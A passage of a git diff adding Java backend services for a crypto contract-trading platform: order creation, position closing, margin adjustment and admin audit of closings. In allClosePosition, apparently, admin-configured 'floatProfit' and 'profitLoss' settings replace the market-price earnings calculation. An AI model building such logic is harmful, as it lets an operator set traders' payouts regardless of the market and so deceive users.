String adminParentIds) { + TContractOrder tContractOrder = new TContractOrder(); + tContractOrder.setSymbol(symbol); + tContractOrder.setDelegatePrice(openPrice); + tContractOrder.setDelegateValue(amount); + tContractOrder.setOrderNo(serialId); + tContractOrder.setDelegateTotal(num); + tContractOrder.setDelegateType(delegateType); + tContractOrder.setType(type); + tContractOrder.setStatus(0); + tContractOrder.setFee(openFee); + tContractOrder.setCreateTime(new Date()); + tContractOrder.setDelegateTime(new Date()); + tContractOrder.setLeverage(level); + tContractOrder.setUserId(uerId); + tContractOrder.setAdminParentIds(adminParentIds); + tContractOrderMapper.insert(tContractOrder); + appAssetService.noSettlementAssetByUserId(uerId,"usdt",amount); + } + private boolean comparePrice(Integer type, BigDecimal currentlyPrice, BigDecimal delegatePrice) { + if (0 == type) { + //限价于大于当前价 + if (delegatePrice.compareTo(currentlyPrice) >= 0) { + return true; + } + } else { + //限价小于等于当前价 + if (delegatePrice.compareTo(currentlyPrice) <= 0) { + return true; + } + } + return false; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java new file mode 100644 index 0000000..b315da0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java @@ -0,0 +1,635 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.*; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import jnr.ffi.annotations.In; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TContractPositionMapper; +import com.ruoyi.bussiness.domain.TContractPosition; + +import javax.annotation.Resource; + +/** + * U本位持仓表Service业务层处理 + * + * @author michael + * @date 2023-07-20 + */ +@Service +@Slf4j +public class TContractPositionServiceImpl extends ServiceImpl implements ITContractPositionService { + @Autowired + private TContractPositionMapper tContractPositionMapper; + + @Autowired + private ITContractCoinService contractCoinService; + + @Autowired + private ITAppAssetService appAssetService; + + @Autowired + private ITAppUserService appUserService; + + @Autowired + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private RedisCache redisCache; + + @Resource + private ITContractLossService contractLossService; + + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询U本位持仓表 + * + * @param id U本位持仓表主键 + * @return U本位持仓表 + */ + @Override + public TContractPosition selectTContractPositionById(Long id) { + return tContractPositionMapper.selectTContractPositionById(id); + } + + /** + * 查询U本位持仓表列表 + * + * @param tContractPosition U本位持仓表 + * @return U本位持仓表 + */ + @Override + public List selectTContractPositionList(TContractPosition tContractPosition) { + return tContractPositionMapper.selectTContractPositionList(tContractPosition); + } + + /** + * 新增U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + @Override + public int insertTContractPosition(TContractPosition tContractPosition) { + tContractPosition.setCreateTime(DateUtils.getNowDate()); + return tContractPositionMapper.insertTContractPosition(tContractPosition); + } + + /** + * 修改U本位持仓表 + * + * @param tContractPosition U本位持仓表 + * @return 结果 + */ + @Override + public int updateTContractPosition(TContractPosition tContractPosition) { + HashMap object = new HashMap<>(); + object.put("position", "1"); + redisUtil.addStream(redisStreamNames, object); + return tContractPositionMapper.updateTContractPosition(tContractPosition); + } + + /** + * 批量删除U本位持仓表 + * + * @param ids 需要删除的U本位持仓表主键 + * @return 结果 + */ + @Override + public int deleteTContractPositionByIds(Long[] ids) { + return tContractPositionMapper.deleteTContractPositionByIds(ids); + } + + /** + * 删除U本位持仓表信息 + * + * @param id U本位持仓表主键 + * @return 结果 + */ + @Override + public int deleteTContractPositionById(Long id) { + return tContractPositionMapper.deleteTContractPositionById(id); + } + + @Override + public String allClosePosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + String symol = contractPosition.getSymbol(); + //类型0 买入买多 1 卖出做空 + Integer type = contractPosition.getType(); + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + BigDecimal num = contractPosition.getOpenNum(); + BigDecimal amount = contractPosition.getAdjustAmount(); + + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(num); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn=BigDecimal.ZERO; + + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + + if("ok".equals(checkProfit(tContractCoin))){ + earn = ContractComputerUtil.getPositionEarn(openPrice, num, currentlyPrice, type); + }else{ + // -0.5* 4*0.001*10*/0.0001 + BigDecimal sub= ContractComputerUtil.getRate(openPrice,currentlyPrice,type); + + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + + earn= sub.multiply(profitLoss).multiply(contractPosition.getOpenNum()).multiply(contractPosition.getLeverage()).divide(floatProit,4,RoundingMode.DOWN); + } + contractPosition.setEarn(earn); + contractPosition.setDealTime(new Date()); + updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amont = asset.getAmout(); + BigDecimal availAsset = asset.getAvailableAmount(); + BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + BigDecimal subReturn=availAsset.add(money); + if(subReturn.compareTo(BigDecimal.ZERO)<0){ + asset.setAmout(BigDecimal.ZERO); + asset.setAvailableAmount(BigDecimal.ZERO); + }else { + asset.setAmout(amont.add(money)); + asset.setAvailableAmount(availAsset.add(money)); + } + appAssetService.updateTAppAsset(asset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String adjustAmout(Long id, BigDecimal money, String flag) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + + //增加保证金 + if ("0".equals(flag)) { + if (money.compareTo(asset.getAvailableAmount()) > 0) { + return MessageUtils.message("contract.asset.error"); + } + } + BigDecimal amont = contractPosition.getAmount(); + + BigDecimal adjust = contractPosition.getAdjustAmount(); + + BigDecimal level = contractPosition.getLeverage(); + + Integer type = contractPosition.getType(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + BigDecimal adjustAmount = BigDecimal.ZERO; + + BigDecimal afterAmount = BigDecimal.ZERO; + //增加保证金 + if ("0".equals(flag)) { + adjustAmount = adjust.add(money); + afterAmount = asset.getAvailableAmount().subtract(money); + //减少保证金 + } else if ("1".equals(flag)) { + adjustAmount = adjust.subtract(money); + afterAmount = asset.getAvailableAmount().add(money); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), currentlyPrice, type); + if (earn.compareTo(BigDecimal.ZERO) < 0) { + if (adjust.add(earn).subtract(money).compareTo(amont) < 0) { + return MessageUtils.message("adjust.min.error"); + } + } else { + if (adjust.subtract(money).compareTo(amont) < 0) { + return MessageUtils.message("adjust.min.error"); + } + } + } + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(level, type, contractPosition.getOpenPrice(), contractPosition.getOpenNum(), adjustAmount, BigDecimal.ZERO); + contractPosition.setAdjustAmount(adjustAmount); + contractPosition.setRemainMargin(adjustAmount); + contractPosition.setClosePrice(closePrice); + tContractPositionMapper.updateTContractPosition(contractPosition); + BigDecimal assetAmout = asset.getAmout(); + if ("0".equals(flag)) { + asset.setAmout(assetAmout.subtract(money)); + asset.setAvailableAmount(asset.getAvailableAmount().subtract(money)); + appAssetService.updateTAppAsset(asset); + } else if ("1".equals(flag)) { + asset.setAmout(assetAmout.add(money)); + asset.setAvailableAmount(asset.getAvailableAmount().add(money)); + appAssetService.updateTAppAsset(asset); + } + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRADING_ADJUSTMENT_MARGIN.getCode(), null, contractPosition.getOrderNo(), "调整保证金", asset.getAvailableAmount(), afterAmount, tContractCoin.getCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String verifyStopPostion(Long id) { + String result = "success"; + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + + String check=checkPositon(contractPosition); + if (auditStaus == 1) { + if("ok".equals(check) || "okday".equals(check)){ + return MessageUtils.message("order.audit.pass"); + } + } + if("ok".equals(check) || "okday".equals(check)){ + return MessageUtils.message("order.audit.reject"); + } + + if (auditStaus == 3) { + return MessageUtils.message("order.audit.error"); + } + if (auditStaus != 5 && auditStaus != 2) { + //已提交 + contractPosition.setAuditStatus(5); + updateTContractPosition(contractPosition); + } + //当前价 + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + Date subTime = contractPosition.getSubTime(); + //交割时间 + Integer deliveryDays = Objects.isNull(contractPosition.getDeliveryDays()) ? 0 : contractPosition.getDeliveryDays(); + //止盈率 + BigDecimal earnRate = Objects.isNull(contractPosition.getEarnRate()) ? BigDecimal.ZERO : contractPosition.getEarnRate(); + //止损率 + BigDecimal lossRate = Objects.isNull(contractPosition.getLossRate()) ? BigDecimal.ZERO : contractPosition.getLossRate(); + + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + //调整保证金 + BigDecimal adjustAmount = contractPosition.getAdjustAmount(); + + BigDecimal remin=contractPosition.getRemainMargin(); + //杠杆 + BigDecimal level = contractPosition.getLeverage(); + // + int type = contractPosition.getType(); + //止盈价 + BigDecimal earnPrice=ContractComputerUtil.getEarnDealPrice(openPrice,type,earnRate); + BigDecimal rate = ContractComputerUtil.getPositionRate(openPrice, currentlyPrice, type); +// if(type==0) { //当前价>开仓价 +// // 开盘 16000 止盈价 18000 当前 17000 +// if(currentlyPrice.compareTo(earnPrice)>=0){ +// redisCache.setCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo(),earnPrice); +// } +// BigDecimal flag = redisCache.getCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo()); +// if(Objects.nonNull(flag) && currentlyPrice.compareTo(flag)<0){ +// if(currentlyPrice.compareTo(openPrice)>0 && currentlyPrice.compareTo(earnPrice) < 0) { +// rate= ContractComputerUtil.getPositionRate(earnPrice, currentlyPrice, type); +// } +// } +// }else if(type==1){ +// if(currentlyPrice.compareTo(earnPrice)<=0){ +// redisCache.setCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo(),earnPrice); +// } +// BigDecimal flag = redisCache.getCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo()); +// if(Objects.nonNull(flag) && currentlyPrice.compareTo(flag)>0){ +// if (currentlyPrice.compareTo(openPrice) < 0 && currentlyPrice.compareTo(earnPrice) > 0) { +// rate = ContractComputerUtil.getPositionRate(earnPrice, currentlyPrice, type); +// } +// } +// } + //收益率 + BigDecimal bigDecimal =adjustAmount.add((adjustAmount.multiply(level).multiply(earnRate).setScale(4, RoundingMode.UP))); +// if (rate.compareTo(BigDecimal.ZERO) < 0 ) { +// bigDecimal = bigDecimal.subtract((adjustAmount.multiply(rate).multiply(level).setScale(4, RoundingMode.UP))); +// } + BigDecimal loss = adjustAmount.multiply(level).multiply(lossRate).setScale(4, RoundingMode.UP); + int sub = 0; + + if (deliveryDays > 0) { + int days = DateUtil.daysBetween(subTime, new Date()); + sub=deliveryDays-days; + if (sub > 0) { + result = MessageUtils.message("contract.delivery.day", sub); + } + } + if (remin.compareTo(BigDecimal.ZERO) > 0 && lossRate.compareTo(BigDecimal.ZERO) > 0) { + if (remin.compareTo(bigDecimal) >= 0) { + closePosition(id); + return "success"; + } + if (remin.compareTo(bigDecimal) < 0 || remin.compareTo(loss) > 0) { + result = MessageUtils.message("contract.delivery.margan", new Object[]{sub, bigDecimal, loss}); + } + if (remin.compareTo(loss) <= 0) { + closePosition(id); + return "success"; + } + } + if (earnRate.compareTo(BigDecimal.ZERO) > 0 && lossRate.compareTo(BigDecimal.ZERO) == 0) { + if (remin.compareTo(bigDecimal) < 0) { + result = MessageUtils.message("contract.delivery.earn", new Object[]{sub, bigDecimal}); + } else { + closePosition(id); + return "success"; + } + } + if (lossRate.compareTo(BigDecimal.ZERO) > 0 && earnRate.compareTo(BigDecimal.ZERO) == 0) { + if (remin.compareTo(loss) > 0) { + result = MessageUtils.message("contract.delivery.loss", new Object[]{sub, loss}); + }else { + closePosition(id); + return "success"; + } + } + + return result; + } + + @Override + public String pass(TContractPosition tContractPosition) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(tContractPosition.getId()); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + if (auditStaus == 1) { + return "请勿重复审核"; + } +// if (auditStaus != 3) { +// return "不是待审核状态"; +// } +// TAppUser appUser = appUserService.getById(contractPosition.getUserId()); +// if (contractPosition.getStatus() != 0) { +// return MessageUtils.message("order.status.error"); +// } + String symol = contractPosition.getSymbol(); + // TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + BigDecimal amount = contractPosition.getAdjustAmount(); + BigDecimal earn = contractPosition.getEarn(); + // TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + // BigDecimal amont = asset.getAmout(); + // BigDecimal availAsset = asset.getAvailableAmount(); + // BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + // asset.setAmout(amont.add(money)); + // asset.setAvailableAmount(availAsset.add(money)); + // appAssetService.updateTAppAsset(asset); + // appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + //contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setUpdateTime(new Date()); + updateTContractPosition(contractPosition); + return "success"; + } + + @Override + public String reject(TContractPosition tContractPosition) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(tContractPosition.getId()); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + contractPosition.setAuditStatus(2); + contractPosition.setUpdateTime(new Date()); + updateTContractPosition(contractPosition); + return "success"; + } + + //追加保证金 + @Override + public String adjustPositionMargn(Long id, BigDecimal money) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + //平台账户 + // TAppAsset outAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + TAppUser appUser = appUserService.selectTAppUserByUserId(contractPosition.getUserId()); + + //合约账户 + TAppAsset inAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.CONTRACT_ASSETS.getCode())); + if (inAsset.getAvailableAmount().compareTo(money) < 0) { + return MessageUtils.message("asset_amount_error"); + } +// BigDecimal availableAmount = outAsset.getAvailableAmount(); +// outAsset.setAvailableAmount(availableAmount.subtract(money)); +// outAsset.setAmout(outAsset.getAmout().subtract(money)); +// appAssetService.updateTAppAsset(outAsset); + // appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD_AMOUT.getCode(), "", "", "平台资产-", availableAmount, availableAmount.subtract(money), "usdt", appUser.getAdminParentIds()); + + contractPosition.setRemainMargin(contractPosition.getRemainMargin().add(money)); + this.updateTContractPosition(contractPosition); + BigDecimal availableAmount1 = inAsset.getAvailableAmount(); + inAsset.setAvailableAmount(availableAmount1.subtract(money)); + inAsset.setAmout(inAsset.getAmout().subtract(money)); + appAssetService.updateTAppAsset(inAsset); + //添加帐变 + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD_AMOUT.getCode(), "", "", "合约资产-", availableAmount1, availableAmount1.subtract(money), "usdt", appUser.getAdminParentIds()); + return "success"; + } + + //追加本金 + @Override + public String adjustPositionAmout(Long id, BigDecimal money) { + + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TAppAsset asset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.CONTRACT_ASSETS.getCode())); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + + if (money.compareTo(asset.getAvailableAmount()) > 0) { + return MessageUtils.message("contract.asset.error"); + } + String symbol = contractPosition.getSymbol().toLowerCase(); + //杠杆 + BigDecimal leverage = contractPosition.getLeverage(); + + //BigDecimal openFee = tContractCoin.getOpenFee().multiply(money).setScale(6, RoundingMode.HALF_UP); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + TAppUser appUser = appUserService.selectTAppUserByUserId(contractPosition.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + //开仓均价 + + //计算数量 + + BigDecimal num = money.multiply(leverage).divide(currentlyPrice, 6, RoundingMode.DOWN); + contractPosition.setAmount(contractPosition.getAmount().add(money)); + contractPosition.setAdjustAmount(contractPosition.getAdjustAmount().add(money)); + contractPosition.setRemainMargin(contractPosition.getRemainMargin().add(money)); + contractPosition.setOpenNum(contractPosition.getOpenNum().add(num)); + contractPosition.setOpenPrice(currentlyPrice); + contractPosition.setEntrustmentValue(contractPosition.getEntrustmentValue().add((currentlyPrice.multiply(num).setScale(6, RoundingMode.HALF_UP)))); + this.updateTContractPosition(contractPosition); + asset.setAmout(asset.getAmout().subtract(money)); + asset.setAvailableAmount(asset.getAvailableAmount().subtract(money)); + appAssetService.updateTAppAsset(asset); + + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD.getCode(), "", contractPosition.getOrderNo(), RecordEnum.CONTRACT_ADD.getInfo(), availableAmount, availableAmount.subtract(money), "usdt", appUser.getAdminParentIds()); + + + return "success"; + } + + @Override + public String closePosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + if (auditStaus == 3) { + return MessageUtils.message("order.audit.error"); + } + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setStatus(0); + contractPosition.setAuditStatus(3); + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), currentlyPrice, contractPosition.getType()); + contractPosition.setEarn(earn); + updateTContractPosition(contractPosition); + return "success"; + } + + @Override + public String stopPosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } +// if (auditStaus == 3) { +// return MessageUtils.message("order.audit.error"); +// +// } + BigDecimal dealPrice = Objects.isNull(contractPosition.getDealPrice()) ? BigDecimal.ZERO : contractPosition.getDealPrice(); + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + String symol = contractPosition.getSymbol(); + //类型0 买入买多 1 卖出做空 + Integer type = contractPosition.getType(); + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + BigDecimal num = contractPosition.getOpenNum(); + BigDecimal amount = contractPosition.getRemainMargin(); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + if (dealPrice.compareTo(BigDecimal.ZERO) == 0) { + dealPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + + } + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(num); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealPrice(dealPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn = ContractComputerUtil.getPositionEarn(openPrice, num, dealPrice, type); + contractPosition.setEarn(earn); + contractPosition.setDealTime(new Date()); + updateTContractPosition(contractPosition); + //撤销止盈止损 + //tContractPositionMapper.updateContractLoss(contractPosition.getId()); + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amont = asset.getAmout(); + BigDecimal availAsset = asset.getAvailableAmount(); + BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + asset.setAmout(amont.add(money)); + asset.setAvailableAmount(availAsset.add(money)); + appAssetService.updateTAppAsset(asset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String stopAllPosition(Long id) { + TContractPosition contractPosition=this.getById(id); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), contractPosition.getClosePrice(), contractPosition.getType()); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + contractPosition.setEarn(earn); + this.updateTContractPosition(contractPosition); + return "success"; + } + + + public String checkProfit(TContractCoin tContractCoin) { + String result = "ok"; + //止盈率 + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + if (floatProit.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (profitLoss.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } + + public String checkPositon(TContractPosition tContractPosition) { + String result = "ok"; + + Integer deliverDays = Objects.isNull(tContractPosition.getDeliveryDays()) ? 0 : tContractPosition.getDeliveryDays(); + //止盈率 + BigDecimal earnRate = Objects.isNull(tContractPosition.getEarnRate()) ? BigDecimal.ZERO : tContractPosition.getEarnRate(); + //止盈率 + BigDecimal lossRate = Objects.isNull(tContractPosition.getLossRate()) ? BigDecimal.ZERO : tContractPosition.getLossRate(); + if (deliverDays > 0) { + result = result + "day"; + } + if (earnRate.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (lossRate.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java new file mode 100644 index 0000000..4bf6c76 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java @@ -0,0 +1,499 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AppSidebarSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCurrencyOrderMapper; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 币币交易订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TCurrencyOrderServiceImpl extends ServiceImpl implements ITCurrencyOrderService { + @Resource + private TCurrencyOrderMapper tCurrencyOrderMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private RedisCache redisCache; + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private SettingService settingService; + + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + @Override + public TCurrencyOrder selectTCurrencyOrderById(Long id) { + return tCurrencyOrderMapper.selectTCurrencyOrderById(id); + } + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单 + */ + @Override + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder) { + return tCurrencyOrderMapper.selectTCurrencyOrderList(tCurrencyOrder); + } + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + @Override + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder) { + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + return tCurrencyOrderMapper.insertTCurrencyOrder(tCurrencyOrder); + } + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + @Override + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder) { + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + return tCurrencyOrderMapper.updateTCurrencyOrder(tCurrencyOrder); + } + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的币币交易订单主键 + * @return 结果 + */ + @Override + public int deleteTCurrencyOrderByIds(Long[] ids) { + return 